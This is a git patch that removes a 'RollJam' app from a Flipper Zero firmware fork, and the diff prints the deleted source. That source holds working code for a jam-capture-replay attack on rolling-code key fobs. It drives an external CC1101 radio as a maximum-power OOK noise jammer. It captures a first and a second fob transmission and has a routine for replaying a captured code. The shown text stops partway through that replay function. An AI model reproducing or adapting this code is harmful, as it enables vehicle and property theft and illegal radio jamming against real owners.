From 2d8f3563f9f294241c3f7bb2f98741cf20f4ffbf Mon Sep 17 00:00:00 2001 From: d4rks1d33 Date: Tue, 10 Mar 2026 00:15:38 -0300 Subject: [PATCH] Removed RollJam app until fully works --- README.md | 2 +- applications/main/RollJam/application.fam | 23 - .../main/RollJam/helpers/rolljam_cc1101_ext.c | 534 ------------------ .../main/RollJam/helpers/rolljam_cc1101_ext.h | 22 - .../main/RollJam/helpers/rolljam_receiver.c | 457 --------------- .../main/RollJam/helpers/rolljam_receiver.h | 31 - applications/main/RollJam/readme.md | 21 - applications/main/RollJam/rolljam.c | 215 ------- applications/main/RollJam/rolljam.h | 143 ----- applications/main/RollJam/rolljam.png | Bin 90 -> 0 bytes applications/main/RollJam/rolljam_icons.h | 9 - .../main/RollJam/scenes/rolljam_scene.h | 27 - .../scenes/rolljam_scene_attack_phase1.c | 101 ---- .../scenes/rolljam_scene_attack_phase2.c | 107 ---- .../scenes/rolljam_scene_attack_phase3.c | 70 --- .../RollJam/scenes/rolljam_scene_config.h | 17 - .../main/RollJam/scenes/rolljam_scene_menu.c | 94 --- .../RollJam/scenes/rolljam_scene_result.c | 111 ---- .../main/RollJam/views/rolljam_attack_view.c | 53 -- .../main/RollJam/views/rolljam_attack_view.h | 23 - applications/main/application.fam | 1 - 21 files changed, 1 insertion(+), 2060 deletions(-) delete mode 100644 applications/main/RollJam/application.fam delete mode 100644 applications/main/RollJam/helpers/rolljam_cc1101_ext.c delete mode 100644 applications/main/RollJam/helpers/rolljam_cc1101_ext.h delete mode 100644 applications/main/RollJam/helpers/rolljam_receiver.c delete mode 100644 applications/main/RollJam/helpers/rolljam_receiver.h delete mode 100644 applications/main/RollJam/readme.md delete mode 100644 applications/main/RollJam/rolljam.c delete mode 100644 applications/main/RollJam/rolljam.h delete mode 100644 applications/main/RollJam/rolljam.png delete mode 100644 applications/main/RollJam/rolljam_icons.h delete mode 100644 applications/main/RollJam/scenes/rolljam_scene.h delete mode 100644 applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c delete mode 100644 applications/main/RollJam/scenes/rolljam_scene_attack_phase2.c delete mode 100644 applications/main/RollJam/scenes/rolljam_scene_attack_phase3.c delete mode 100644 applications/main/RollJam/scenes/rolljam_scene_config.h delete mode 100644 applications/main/RollJam/scenes/rolljam_scene_menu.c delete mode 100644 applications/main/RollJam/scenes/rolljam_scene_result.c delete mode 100644 applications/main/RollJam/views/rolljam_attack_view.c delete mode 100644 applications/main/RollJam/views/rolljam_attack_view.h diff --git a/README.md b/README.md index 89097c23..f1c127d0 100644 --- a/README.md +++ b/README.md @@ -132,7 +132,7 @@ Flipper-ARF aims to achieve: - [ ] Keeloq Key Manager inside firmware - [ ] Add Scher Khan & Starline protocols -- [ ] Fix and reintegrate RollJam Pro app +- [ ] Fix and reintegrate RollJam app (future updates) - [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols - [ ] Improve collaboration workflow to avoid overlapping work diff --git a/applications/main/RollJam/application.fam b/applications/main/RollJam/application.fam deleted file mode 100644 index 4fd7bc51..00000000 --- a/applications/main/RollJam/application.fam +++ /dev/null @@ -1,23 +0,0 @@ -App( - appid="rolljam", - name="RollJam", - apptype=FlipperAppType.MENUEXTERNAL, - entry_point="rolljam_app", - stack_size=4 * 1024, - fap_category="Sub-GHz", - fap_icon="rolljam.png", - fap_icon_assets="images", - fap_libs=["assets"], - fap_description="RollJam rolling code attack tool", - fap_author="@user", - fap_version="1.0", - fap_weburl="", - requires=[ - "gui", - "subghz", - "notification", - "storage", - "dialogs", - ], - provides=[], -) diff --git a/applications/main/RollJam/helpers/rolljam_cc1101_ext.c b/applications/main/RollJam/helpers/rolljam_cc1101_ext.c deleted file mode 100644 index efc82d51..00000000 --- a/applications/main/RollJam/helpers/rolljam_cc1101_ext.c +++ /dev/null @@ -1,534 +0,0 @@ -#include "rolljam_cc1101_ext.h" -#include -#include -#include -#include - -// ============================================================ -// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor) -// ============================================================ - -static bool otg_was_enabled = false; - -static void rolljam_ext_power_on(void) { - otg_was_enabled = furi_hal_power_is_otg_enabled(); - if(!otg_was_enabled) { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - } -} - -static void rolljam_ext_power_off(void) { - if(!otg_was_enabled) { - furi_hal_power_disable_otg(); - } -} - -// ============================================================ -// GPIO Pins -// ============================================================ -static const GpioPin* pin_mosi = &gpio_ext_pa7; -static const GpioPin* pin_miso = &gpio_ext_pa6; -static const GpioPin* pin_cs = &gpio_ext_pa4; -static const GpioPin* pin_sck = &gpio_ext_pb3; -static const GpioPin* pin_gdo0 = &gpio_ext_pb2; - -// ============================================================ -// CC1101 Registers -// ============================================================ -#define CC_IOCFG2 0x00 -#define CC_IOCFG0 0x02 -#define CC_FIFOTHR 0x03 -#define CC_SYNC1 0x04 -#define CC_SYNC0 0x05 -#define CC_PKTLEN 0x06 -#define CC_PKTCTRL1 0x07 -#define CC_PKTCTRL0 0x08 -#define CC_FSCTRL1 0x0B -#define CC_FSCTRL0 0x0C -#define CC_FREQ2 0x0D -#define CC_FREQ1 0x0E -#define CC_FREQ0 0x0F -#define CC_MDMCFG4 0x10 -#define CC_MDMCFG3 0x11 -#define CC_MDMCFG2 0x12 -#define CC_MDMCFG1 0x13 -#define CC_MDMCFG0 0x14 -#define CC_DEVIATN 0x15 -#define CC_MCSM1 0x17 -#define CC_MCSM0 0x18 -#define CC_FOCCFG 0x19 -#define CC_AGCCTRL2 0x1B -#define CC_AGCCTRL1 0x1C -#define CC_AGCCTRL0 0x1D -#define CC_FREND0 0x22 -#define CC_FSCAL3 0x23 -#define CC_FSCAL2 0x24 -#define CC_FSCAL1 0x25 -#define CC_FSCAL0 0x26 -#define CC_TEST2 0x2C -#define CC_TEST1 0x2D -#define CC_TEST0 0x2E -#define CC_PATABLE 0x3E -#define CC_TXFIFO 0x3F - -#define CC_PARTNUM 0x30 -#define CC_VERSION 0x31 -#define CC_MARCSTATE 0x35 -#define CC_TXBYTES 0x3A - -#define CC_SRES 0x30 -#define CC_SCAL 0x33 -#define CC_STX 0x35 -#define CC_SIDLE 0x36 -#define CC_SFTX 0x3B - -#define MARC_IDLE 0x01 -#define MARC_TX 0x13 - -// ============================================================ -// Bit-bang SPI -// ============================================================ - -static inline void spi_delay(void) { - __NOP(); __NOP(); __NOP(); __NOP(); - __NOP(); __NOP(); __NOP(); __NOP(); - __NOP(); __NOP(); __NOP(); __NOP(); - __NOP(); __NOP(); __NOP(); __NOP(); -} - -static inline void cs_lo(void) { - furi_hal_gpio_write(pin_cs, false); - spi_delay(); spi_delay(); -} - -static inline void cs_hi(void) { - spi_delay(); - furi_hal_gpio_write(pin_cs, true); - spi_delay(); spi_delay(); -} - -static bool wait_miso(uint32_t us) { - CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk; - DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk; - uint32_t s = DWT->CYCCNT; - uint32_t t = (SystemCoreClock / 1000000) * us; - while(furi_hal_gpio_read(pin_miso)) { - if((DWT->CYCCNT - s) > t) return false; - } - return true; -} - -static uint8_t spi_byte(uint8_t tx) { - uint8_t rx = 0; - for(int8_t i = 7; i >= 0; i--) { - furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01); - spi_delay(); - furi_hal_gpio_write(pin_sck, true); - spi_delay(); - if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i); - furi_hal_gpio_write(pin_sck, false); - spi_delay(); - } - return rx; -} - -static uint8_t cc_strobe(uint8_t cmd) { - cs_lo(); - if(!wait_miso(5000)) { cs_hi(); return 0xFF; } - uint8_t s = spi_byte(cmd); - cs_hi(); - return s; -} - -static void cc_write(uint8_t a, uint8_t v) { - cs_lo(); - if(!wait_miso(5000)) { cs_hi(); return; } - spi_byte(a); - spi_byte(v); - cs_hi(); -} - -static uint8_t cc_read(uint8_t a) { - cs_lo(); - if(!wait_miso(5000)) { cs_hi(); return 0xFF; } - spi_byte(a | 0x80); - uint8_t v = spi_byte(0x00); - cs_hi(); - return v; -} - -static uint8_t cc_read_status(uint8_t a) { - cs_lo(); - if(!wait_miso(5000)) { cs_hi(); return 0xFF; } - spi_byte(a | 0xC0); - uint8_t v = spi_byte(0x00); - cs_hi(); - return v; -} - -static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) { - cs_lo(); - if(!wait_miso(5000)) { cs_hi(); return; } - spi_byte(a | 0x40); - for(uint8_t i = 0; i < n; i++) spi_byte(d[i]); - cs_hi(); -} - -// ============================================================ -// Helpers -// ============================================================ - -static bool cc_reset(void) { - cs_hi(); furi_delay_us(30); - cs_lo(); furi_delay_us(30); - cs_hi(); furi_delay_us(50); - cs_lo(); - if(!wait_miso(10000)) { cs_hi(); return false; } - spi_byte(CC_SRES); - if(!wait_miso(100000)) { cs_hi(); return false; } - cs_hi(); - furi_delay_ms(5); - FURI_LOG_I(TAG, "EXT: Reset OK"); - return true; -} - -static bool cc_check(void) { - uint8_t p = cc_read_status(CC_PARTNUM); - uint8_t v = cc_read_status(CC_VERSION); - FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v); - return (v == 0x14 || v == 0x04 || v == 0x03); -} - -static uint8_t cc_state(void) { - return cc_read_status(CC_MARCSTATE) & 0x1F; -} - -static uint8_t cc_txbytes(void) { - return cc_read_status(CC_TXBYTES) & 0x7F; -} - -static void cc_idle(void) { - cc_strobe(CC_SIDLE); - for(int i = 0; i < 500; i++) { - if(cc_state() == MARC_IDLE) return; - furi_delay_us(50); - } -} - -static void cc_set_freq(uint32_t f) { - uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL); - cc_write(CC_FREQ2, (r >> 16) & 0xFF); - cc_write(CC_FREQ1, (r >> 8) & 0xFF); - cc_write(CC_FREQ0, r & 0xFF); -} - -// ============================================================ -// JAMMING APPROACH: Random OOK noise via FIFO -// ============================================================ -/* - * Previous approaches and their problems: - * - * 1. FIFO random data (first attempt): - * - 100% underflow because data rate was too high - * - * 2. Broadband GDO0 toggling: - * - Self-interference with internal CC1101 - * - * 3. Pure CW carrier: - * - Too weak/narrow to jam effectively - * - * NEW APPROACH: Low data rate FIFO feeding - * - * Key insight: the underflow happened because data rate was - * 115 kBaud and we couldn't feed the FIFO fast enough from - * the thread (furi_delay + SPI overhead). - * - * Solution: Use LOW data rate (~1.2 kBaud) so the FIFO - * drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms! - * That's plenty of time to refill. - * - * At 1.2 kBaud with random data, the OOK signal creates - * random on/off keying with ~833us per bit. This produces - * a modulated signal with ~1.2kHz bandwidth - enough to - * disrupt OOK receivers but narrow enough to not self-jam. - * - * Combined with the 700kHz offset, this is: - * - Visible on spectrum analyzers (modulated signal) - * - Effective at disrupting victim receivers - * - NOT interfering with our narrow 58kHz RX - */ - -static bool cc_configure_jam(uint32_t freq) { - FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq); - cc_idle(); - - // GDO0: TX FIFO threshold - cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold - cc_write(CC_IOCFG2, 0x0E); // Carrier sense - - // Fixed packet length, 255 bytes per packet - cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening - cc_write(CC_PKTCTRL1, 0x00); // No address check - cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet - - // FIFO threshold: alert when TX FIFO has space for 33+ bytes - cc_write(CC_FIFOTHR, 0x07); - - // No sync word - just raw data - cc_write(CC_SYNC1, 0x00); - cc_write(CC_SYNC0, 0x00); - - // Frequency - cc_set_freq(freq); - - cc_write(CC_FSCTRL1, 0x06); - cc_write(CC_FSCTRL0, 0x00); - - // CRITICAL: LOW data rate to prevent FIFO underflow - // 1.2 kBaud: DRATE_E=5, DRATE_M=67 - // At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty - cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5 - cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud - cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word - cc_write(CC_MDMCFG1, 0x00); // No preamble - cc_write(CC_MDMCFG0, 0xF8); - cc_write(CC_DEVIATN, 0x47); - - // Auto-return to TX after packet sent - cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX) - cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX - - // MAX TX power - cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high - - // PATABLE: ALL entries at max power - // Index 0 = 0x00 for OOK "0" (off) - // Index 1 = 0xC0 for OOK "1" (+12 dBm) - uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0}; - cc_write_burst(CC_PATABLE, pa, 8); - - // Calibration - cc_write(CC_FSCAL3, 0xEA); - cc_write(CC_FSCAL2, 0x2A); - cc_write(CC_FSCAL1, 0x00); - cc_write(CC_FSCAL0, 0x1F); - - // Test regs - cc_write(CC_TEST2, 0x81); - cc_write(CC_TEST1, 0x35); - cc_write(CC_TEST0, 0x09); - - // Calibrate - cc_idle(); - cc_strobe(CC_SCAL); - furi_delay_ms(2); - cc_idle(); - - // Verify configuration - uint8_t st = cc_state(); - uint8_t mdm4 = cc_read(CC_MDMCFG4); - uint8_t mdm3 = cc_read(CC_MDMCFG3); - uint8_t mdm2 = cc_read(CC_MDMCFG2); - uint8_t pkt0 = cc_read(CC_PKTCTRL0); - uint8_t plen = cc_read(CC_PKTLEN); - uint8_t pa0 = cc_read(CC_PATABLE); - - FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X", - mdm4, mdm3, mdm2, pkt0, plen, pa0, st); - - return (st == MARC_IDLE); -} - -// ============================================================ -// Jam thread - FIFO-fed OOK at low data rate -// ============================================================ - -static int32_t jam_thread_worker(void* context) { - RollJamApp* app = context; - - FURI_LOG_I(TAG, "========================================"); - FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE"); - FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)", - app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ); - FURI_LOG_I(TAG, "========================================"); - - if(!cc_reset()) { - FURI_LOG_E(TAG, "JAM: Reset failed!"); - return -1; - } - if(!cc_check()) { - FURI_LOG_E(TAG, "JAM: No chip!"); - return -1; - } - if(!cc_configure_jam(app->jam_frequency)) { - FURI_LOG_E(TAG, "JAM: Config failed!"); - return -1; - } - - // PRNG state - uint32_t prng = 0xDEADBEEF ^ (uint32_t)(app->jam_frequency); - - // Flush TX FIFO - cc_strobe(CC_SFTX); - furi_delay_ms(1); - - // Pre-fill FIFO with random data (64 bytes max FIFO) - uint8_t noise[62]; - for(uint8_t i = 0; i < 62; i++) { - prng ^= prng << 13; - prng ^= prng >> 17; - prng ^= prng << 5; - noise[i] = (uint8_t)(prng & 0xFF); - } - cc_write_burst(CC_TXFIFO, noise, 62); - - uint8_t txb = cc_txbytes(); - FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb); - - // Enter TX - cc_strobe(CC_STX); - furi_delay_ms(5); - - uint8_t st = cc_state(); - FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st); - - if(st != MARC_TX) { - // Retry - cc_idle(); - cc_strobe(CC_SFTX); - furi_delay_ms(1); - cc_write_burst(CC_TXFIFO, noise, 62); - cc_strobe(CC_STX); - furi_delay_ms(5); - st = cc_state(); - FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st); - if(st != MARC_TX) { - FURI_LOG_E(TAG, "JAM: Cannot enter TX!"); - return -1; - } - } - - FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***"); - - uint32_t loops = 0; - uint32_t underflows = 0; - uint32_t refills = 0; - - while(app->jam_thread_running) { - loops++; - - st = cc_state(); - - if(st != MARC_TX) { - // Packet finished or underflow - reload and re-enter TX - underflows++; - - cc_idle(); - cc_strobe(CC_SFTX); - furi_delay_us(100); - - // Refill with new random data - for(uint8_t i = 0; i < 62; i++) { - prng ^= prng << 13; - prng ^= prng >> 17; - prng ^= prng << 5; - noise[i] = (uint8_t)(prng & 0xFF); - } - cc_write_burst(CC_TXFIFO, noise, 62); - - cc_strobe(CC_STX); - furi_delay_ms(1); - continue; - } - - // Check if FIFO needs refilling - txb = cc_txbytes(); - if(txb < 20) { - // Refill what we can - uint8_t space = 62 - txb; - if(space > 50) space = 50; - - for(uint8_t i = 0; i < space; i++) { - prng ^= prng << 13; - prng ^= prng >> 17; - prng ^= prng << 5; - noise[i] = (uint8_t)(prng & 0xFF); - } - cc_write_burst(CC_TXFIFO, noise, space); - refills++; - } - - // Log periodically - if(loops % 500 == 0) { - FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X", - loops, underflows, refills, cc_txbytes(), cc_state()); - } - - // At 1.2 kBaud, 62 bytes last ~413ms - // Check every 50ms - plenty of time - furi_delay_ms(50); - } - - cc_idle(); - FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills); - return 0; -} - -// ============================================================ -// GPIO -// ============================================================ - -void rolljam_ext_gpio_init(void) { - FURI_LOG_I(TAG, "EXT GPIO init"); - furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(pin_cs, true); - furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(pin_sck, false); - furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(pin_mosi, false); - furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); - furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh); -} - -void rolljam_ext_gpio_deinit(void) { - furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(pin_mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(pin_miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(pin_gdo0, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - FURI_LOG_I(TAG, "EXT GPIO deinit"); -} - -// ============================================================ -// Public -// ============================================================ - -void rolljam_jammer_start(RollJamApp* app) { - if(app->jamming_active) return; - app->jam_frequency = app->frequency + JAM_OFFSET_HZ; - rolljam_ext_power_on(); - furi_delay_ms(100); - rolljam_ext_gpio_init(); - furi_delay_ms(10); - app->jam_thread_running = true; - app->jam_thread = furi_thread_alloc_ex("RJ_Jam", 4096, jam_thread_worker, app); - furi_thread_start(app->jam_thread); - app->jamming_active = true; - FURI_LOG_I(TAG, ">>> JAMMER STARTED <<<"); -} - -void rolljam_jammer_stop(RollJamApp* app) { - if(!app->jamming_active) return; - app->jam_thread_running = false; - furi_thread_join(app->jam_thread); - furi_thread_free(app->jam_thread); - app->jam_thread = NULL; - rolljam_ext_gpio_deinit(); - rolljam_ext_power_off(); - app->jamming_active = false; - FURI_LOG_I(TAG, ">>> JAMMER STOPPED <<<"); -} diff --git a/applications/main/RollJam/helpers/rolljam_cc1101_ext.h b/applications/main/RollJam/helpers/rolljam_cc1101_ext.h deleted file mode 100644 index d5c1ed5b..00000000 --- a/applications/main/RollJam/helpers/rolljam_cc1101_ext.h +++ /dev/null @@ -1,22 +0,0 @@ -#pragma once - -#include "../rolljam.h" - -/* - * External CC1101 module connected via GPIO (bit-bang SPI). - * Used EXCLUSIVELY for JAMMING (TX). - * - * Wiring (as connected): - * CC1101 VCC -> Flipper Pin 9 (3V3) - * CC1101 GND -> Flipper Pin 11 (GND) - * CC1101 MOSI -> Flipper Pin 2 (PA7) - * CC1101 MISO -> Flipper Pin 3 (PA6) - * CC1101 SCK -> Flipper Pin 5 (PB3) - * CC1101 CS -> Flipper Pin 4 (PA4) - * CC1101 GDO0 -> Flipper Pin 6 (PB2) - */ - -void rolljam_ext_gpio_init(void); -void rolljam_ext_gpio_deinit(void); -void rolljam_jammer_start(RollJamApp* app); -void rolljam_jammer_stop(RollJamApp* app); diff --git a/applications/main/RollJam/helpers/rolljam_receiver.c b/applications/main/RollJam/helpers/rolljam_receiver.c deleted file mode 100644 index 07550b46..00000000 --- a/applications/main/RollJam/helpers/rolljam_receiver.c +++ /dev/null @@ -1,457 +0,0 @@ -#include "rolljam_receiver.h" -#include -#include - -#define CC_IOCFG0 0x02 -#define CC_FIFOTHR 0x03 -#define CC_MDMCFG4 0x10 -#define CC_MDMCFG3 0x11 -#define CC_MDMCFG2 0x12 -#define CC_MDMCFG1 0x13 -#define CC_MDMCFG0 0x14 -#define CC_DEVIATN 0x15 -#define CC_MCSM0 0x18 -#define CC_FOCCFG 0x19 -#define CC_AGCCTRL2 0x1B -#define CC_AGCCTRL1 0x1C -#define CC_AGCCTRL0 0x1D -#define CC_FREND0 0x22 -#define CC_FSCAL3 0x23 -#define CC_FSCAL2 0x24 -#define CC_FSCAL1 0x25 -#define CC_FSCAL0 0x26 - -// ============================================================ -// Presets -// ============================================================ - -static const uint8_t preset_ook_rx[] = { - CC_IOCFG0, 0x0D, - CC_FIFOTHR, 0x47, - CC_MDMCFG4, 0xE7, // RX BW ~58kHz - CC_MDMCFG3, 0x32, - CC_MDMCFG2, 0x30, - CC_MDMCFG1, 0x00, - CC_MDMCFG0, 0x00, - CC_DEVIATN, 0x47, - CC_MCSM0, 0x18, - CC_FOCCFG, 0x16, - CC_AGCCTRL2, 0x07, - CC_AGCCTRL1, 0x00, - CC_AGCCTRL0, 0x91, - CC_FREND0, 0x11, - CC_FSCAL3, 0xEA, - CC_FSCAL2, 0x2A, - CC_FSCAL1, 0x00, - CC_FSCAL0, 0x1F, - 0x00, 0x00 -}; - -static const uint8_t preset_fsk_rx[] = { - CC_IOCFG0, 0x0D, - CC_FIFOTHR, 0x47, - CC_MDMCFG4, 0xE7, - CC_MDMCFG3, 0x32, - CC_MDMCFG2, 0x00, - CC_MDMCFG1, 0x00, - CC_MDMCFG0, 0x00, - CC_DEVIATN, 0x15, - CC_MCSM0, 0x18, - CC_FOCCFG, 0x16, - CC_AGCCTRL2, 0x07, - CC_AGCCTRL1, 0x00, - CC_AGCCTRL0, 0x91, - CC_FREND0, 0x10, - CC_FSCAL3, 0xEA, - CC_FSCAL2, 0x2A, - CC_FSCAL1, 0x00, - CC_FSCAL0, 0x1F, - 0x00, 0x00 -}; - -static const uint8_t preset_ook_tx[] = { - CC_IOCFG0, 0x0D, - CC_FIFOTHR, 0x47, - CC_MDMCFG4, 0x8C, - CC_MDMCFG3, 0x32, - CC_MDMCFG2, 0x30, - CC_MDMCFG1, 0x00, - CC_MDMCFG0, 0x00, - CC_DEVIATN, 0x47, - CC_MCSM0, 0x18, - CC_FOCCFG, 0x16, - CC_AGCCTRL2, 0x07, - CC_AGCCTRL1, 0x00, - CC_AGCCTRL0, 0x91, - CC_FREND0, 0x11, - CC_FSCAL3, 0xEA, - CC_FSCAL2, 0x2A, - CC_FSCAL1, 0x00, - CC_FSCAL0, 0x1F, - 0x00, 0x00 -}; - -// ============================================================ -// Capture state machine -// ============================================================ - -#define MIN_PULSE_US 50 -#define MAX_PULSE_US 5000 -#define SILENCE_GAP_US 10000 -#define MIN_FRAME_PULSES 40 -#define AUTO_ACCEPT_PULSES 150 - -typedef enum { - CapWaiting, - CapRecording, - CapDone, -} CapState; - -static volatile CapState cap_state; -static volatile int cap_valid_count; -static volatile int cap_total_count; -static volatile bool cap_target_first; -static volatile uint32_t cap_callback_count; - -static void capture_rx_callback(bool level, uint32_t duration, void* context) { - RollJamApp* app = context; - - if(!app->raw_capture_active) return; - if(cap_state == CapDone) return; - - cap_callback_count++; - - RawSignal* target; - if(cap_target_first) { - target = &app->signal_first; - if(target->valid) return; - } else { - target = &app->signal_second; - if(target->valid) return; - } - - uint32_t dur = duration; - if(dur > 32767) dur = 32767; - - switch(cap_state) { - case CapWaiting: - if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) { - target->size = 0; - cap_valid_count = 0; - cap_total_count = 0; - cap_state = CapRecording; - - int16_t s = level ? (int16_t)dur : -(int16_t)dur; - target->data[target->size++] = s; - cap_valid_count++; - cap_total_count++; - } - break; - - case CapRecording: - if(target->size >= RAW_SIGNAL_MAX_SIZE) { - if(cap_valid_count >= MIN_FRAME_PULSES) { - cap_state = CapDone; - } else { - target->size = 0; - cap_valid_count = 0; - cap_total_count = 0; - cap_state = CapWaiting; - } - return; - } - - if(dur > SILENCE_GAP_US) { - if(cap_valid_count >= MIN_FRAME_PULSES) { - if(target->size < RAW_SIGNAL_MAX_SIZE) { - int16_t s = level ? (int16_t)32767 : -32767; - target->data[target->size++] = s; - } - cap_state = CapDone; - } else { - target->size = 0; - cap_valid_count = 0; - cap_total_count = 0; - cap_state = CapWaiting; - } - return; - } - - { - int16_t s = level ? (int16_t)dur : -(int16_t)dur; - target->data[target->size++] = s; - cap_total_count++; - - if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) { - cap_valid_count++; - if(cap_valid_count >= AUTO_ACCEPT_PULSES) { - cap_state = CapDone; - } - } - } - break; - - case CapDone: - break; - } -} - -// ============================================================ -// Capture start/stop -// ============================================================ - -void rolljam_capture_start(RollJamApp* app) { - FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index); - - // Full radio reset sequence - furi_hal_subghz_reset(); - furi_delay_ms(10); - furi_hal_subghz_idle(); - furi_delay_ms(10); - - const uint8_t* preset; - switch(app->mod_index) { - case ModIndex_FM238: - case ModIndex_FM476: - preset = preset_fsk_rx; - break; - default: - preset = preset_ook_rx; - break; - } - - furi_hal_subghz_load_custom_preset(preset); - furi_delay_ms(5); - - uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency); - FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq); - - furi_delay_ms(5); - - // Reset state machine - cap_state = CapWaiting; - cap_valid_count = 0; - cap_total_count = 0; - cap_callback_count = 0; - - // Determine target - if(!app->signal_first.valid) { - cap_target_first = true; - app->signal_first.size = 0; - app->signal_first.valid = false; - FURI_LOG_I(TAG, "Capture target: FIRST signal"); - } else { - cap_target_first = false; - app->signal_second.size = 0; - app->signal_second.valid = false; - FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)", - app->signal_first.size); - } - - app->raw_capture_active = true; - furi_hal_subghz_start_async_rx(capture_rx_callback, app); - - FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d", - app->raw_capture_active, cap_target_first); -} - -void rolljam_capture_stop(RollJamApp* app) { - if(!app->raw_capture_active) { - FURI_LOG_W(TAG, "Capture stop: was not active"); - return; - } - - app->raw_capture_active = false; - - furi_hal_subghz_stop_async_rx(); - furi_delay_ms(5); - furi_hal_subghz_idle(); - furi_delay_ms(5); - - FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d", - cap_callback_count, cap_state, cap_valid_count, cap_total_count); - FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid); - FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid); -} - -// ============================================================ -// Validation -// ============================================================ - -bool rolljam_signal_is_valid(RawSignal* signal) { - if(cap_state != CapDone) { - // Log every few checks so we can see if callbacks are happening - static int check_count = 0; - check_count++; - if(check_count % 10 == 0) { - FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d", - cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size); - } - return false; - } - - if(signal->size < MIN_FRAME_PULSES) return false; - - int good = 0; - int total = (int)signal->size; - - for(int i = 0; i < total; i++) { - int16_t val = signal->data[i]; - int16_t abs_val = val > 0 ? val : -val; - if(abs_val >= MIN_PULSE_US && abs_val <= MAX_PULSE_US) { - good++; - } - } - - int ratio_pct = (total > 0) ? ((good * 100) / total) : 0; - - if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) { - FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d", - good, total, ratio_pct, total); - return true; - } - - FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct); - signal->size = 0; - cap_state = CapWaiting; - cap_valid_count = 0; - cap_total_count = 0; - return false; -} - -// ============================================================ -// TX -// ============================================================ - -typedef struct { - const int16_t* data; - size_t size; - volatile size_t index; -} TxCtx; - -static TxCtx g_tx; - -static LevelDuration tx_feed(void* context) { - UNUSED(context); - if(g_tx.index >= g_tx.size) return level_duration_reset(); - - int16_t sample = g_tx.data[g_tx.index++]; - bool level = (sample > 0); - uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample); - - return level_duration_make(level, dur); -} - -void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) { - if(!signal->valid || signal->size == 0) { - FURI_LOG_E(TAG, "TX: no valid signal"); - return; - } - - FURI_LOG_I(TAG, "TX: %d samples at %lu Hz", signal->size, app->frequency); - - furi_hal_subghz_reset(); - furi_hal_subghz_idle(); - furi_delay_ms(10); - - 